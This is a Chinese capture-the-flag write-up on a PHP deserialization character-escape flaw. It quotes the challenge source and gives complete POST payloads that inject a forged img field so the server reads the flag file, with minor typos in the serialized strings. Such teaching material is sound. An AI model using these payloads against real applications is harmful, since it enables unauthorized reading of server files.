第一次接触php序列化与反序列化,参考文章:
序列化:将变量转换为可保存或传输的字符串的过程;
反序列化:在适当的时候把这个字符串再转化成原来的变量使用;
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性;
常见的php序列化和反序列化方式主要有:serialize,unserialize
1.启动环境,查看index.php源码
分析源码:初步学习了impode()函数,preg_replace()函数,extract()函数
<?php
$function = @$_GET['f']; //function的value是由$_GET['f']传进来的
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i'; //implode() 函数返回
一个由数组元素组合成的字符串
return preg_replace($filter,'',$img); //preg_replace 函数执行一个
正则表达式的搜索和替换。把传入的值中的敏感字符(‘php’,‘flag’,‘php5’,‘php4’,‘fl1g’)
替换成 空格
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST); //extract() 函数从数组中将变量导入到当前的符号表
($_SESSION["user"]和$_SESSION['function']的内容可以通过post的方式传递)
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
} //当以get方法传入img_path的情况下,$_SESSION['img']为传入的img_path进行base64加密
和sha1加密
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo') //将_SESSION序列化且过滤,将值赋给$serialize_info{
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info); //当get传入的f的值,也就是
$function的值等于'show_image'时,就会将$serialize_info反序列化,然后将值
赋给$userinfo['img']指向的文件(base64解密后)
echo file_get_contents(base64_decode($userinfo['img']));
}
2.根据提示,f=phpinfo
发现自动包含了文件/d0g3_f1ag.php,那么我们就需要查看这个文件
3.继续看代码,最后一个语句有函数file_get_contents()就是查看文件,我们就需要使里面的参数为该php文件
看值$userinfo,是对_SESSION变量序列化后过滤再反序列化,存在反序列化字符逃逸漏洞。
反序列化字符逃逸,分为两类:一类是字符增多,一类是减少,
本题利用的是一个过滤函数,所以是减少类型的
上文代码中有一个输出的内容,是我们可控的部分,我们可以通过改变img_path的内容或者直接改变userinfo[‘img’]的内容来达到 读取flag的目的。看到$serialize_info = filter(serialize($_SESSION));
果断想到反序列化字符串逃逸
反序列化字符逃逸的漏洞本质
改变序列化字符串的长短,在序列化的对象反序列化过程中,参数是严谨的,确定了字符的长度,会自动往后找补,并且会自动将{}以外的内容抛弃。
在构造键值的时候被过滤掉了,但序列化后的字符串记录的长度不会因为过滤而改变,所以就会把序列化后的字符串的结构当做值的内容给读取。如果我们自己构造出反序列化字符串的结构,并因为过滤破坏掉原来的结构,就可以构造出恶意代码。
反序列化字符逃逸的两种方法:键值逃逸,键名逃逸
键值逃逸:若SESSION参数:
$_SESSION["user"] = 'guestflagflagflagflag';
$_SESSION['function'] = 'aaaa';
$_SESSION['img']=base64_encode('guest_img.png');
序列化后:a:3{s:4:"user";s:21:"guestflagflagflagflag";s:8:"function";s:4:"aaaa";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
但是经过filter关键字会过滤掉flag,于是序列化字段会变短,但仍被当作了原来的value。
过滤后的结果:
a:3:{s:4:"user";s:21:"guest";s:8:"function";s:4:"aaaa";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
由于user字段值的长度仍为21,所有会往后吞21个字符,一直吞到guest";s:8:"function",那有没有一种可能让function的值足够长能够包含我们指定为base64(dog3_flag.php)的img序列化的内容字段且被过滤掉关键字长度刚好能把img序列化字段吞进去,达到指定img赋值的效果?
首先得让img序列包含在function中这样我们才能通过吞取赋值img的值
若:
$_SESSION["user"] = 'guestflagflagflagflagflagflagflag';
$_SESSION['function'] = 'aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';
在序列化SESSION得:
a:3:{s:4:"user";s:33:"guestflagflagflagflagflagflagflag";s:8:"function";s:69:"aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
filter过滤后的结果:
a:3:{s:4:"user";s:33:"guest";s:8:"function";s:69:"aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
由于替换了7个flag关键字,会往后吞28个字符串,刚好将guest";s:8:"function";s:69:"aaaaa 赋给了user,后面构造img变量,后面是随便添加的一个变量,刚好满足三个变量
使用hackbar进行post传参:
_SESSION[user]=guestflagflagflagflagflagflagflag&_SESSION[function]=aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
提示flag在/d0g3_fllllllag文件中.
/d0g3_fllllllag的Base64编码为L2QwZzNfZmxsbGxsbGFn
4.更改img为L2QwZzNfZmxsbGxsbGFn
_SESSION[user]=guestflagflagflagflagflagflagflag&_SESSION[function]=aaaaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"2";}
得到flag
键名逃逸
原理类似,
1.先构造payloa
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤前
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤后
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
下面的步骤和值替换一样
这里的键名变为";s:48: 实现了逃逸
2._SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}